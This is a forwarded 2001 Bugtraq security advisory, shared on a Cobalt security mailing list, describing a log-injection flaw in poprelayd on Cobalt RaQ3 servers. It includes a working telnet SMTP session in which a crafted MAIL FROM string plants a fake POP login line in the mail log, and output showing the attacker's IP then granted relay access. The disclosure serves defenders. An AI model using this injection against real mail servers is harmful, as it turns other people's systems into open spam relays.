[cobalt-security] poprelayd and sendmail relay authentication problem (Cobalt Raq3) (fwd)

[Gossi The Dog <gossi@xxxxxxxxxxxxxx>]

Dunno if anybody forwarded the actual post along, for the lazy...

Regards...

---------- Forwarded message ----------
Date: Tue, 3 Jul 2001 19:05:10 +0200 (CEST)
From: Andrea Barisani <lcars@xxxxxxxxxxxxxxxxxxxxx>
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: poprelayd and sendmail relay authentication problem (Cobalt Raq3)

Hi to all,

Poprelayd is a simple script that scan /var/log/maillog for valid pop
logins and updates a hash db used by sendmail to permit relaying for
those valid pop users, this method is called "Pop-before-smtp".

The syslog string searched by the script is in this form for the qpop
server

/POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9]\.]+)/)

On some cobalt raq3 servers (with the poprelayd add-on packet installed )
and in general on any system running the poprelayd script with sendmail is
possible to "inject" this string in the syslog using sendmail logging. So
anyone can insert a fake string with his own IP wich will be parsed by
poprelayd and that will permit the use of sendmail as a relay.

On cobalts the presence of poprelayd is revealed by the modified sendmail
relaying denied message "Relaying denied. Please check your mail first."

Example:

telnet dumbcobalt 25
Trying 123.123.123.123...
Connected to dumbcobalt
...
ehlo dumbcobalt
...
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"
553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"...Domain name required

now the IP 66.66.66.66 can do relay :)

in fact, on dumbcobalt:

in /var/log/maillog

...reject=533 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org", size=0, class=0 ....etc etc...

[root@dumbcobalt /]# /usr/sbin/poprelayd -p
66.66.66.66 	7

;-)

Bye

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INFIS Network Administrator & Security Officer
Department of Physics       - University of Trieste
lcars@xxxxxxxxxxxxxxxxxxxxx - PGP Key 0x8E21FE82
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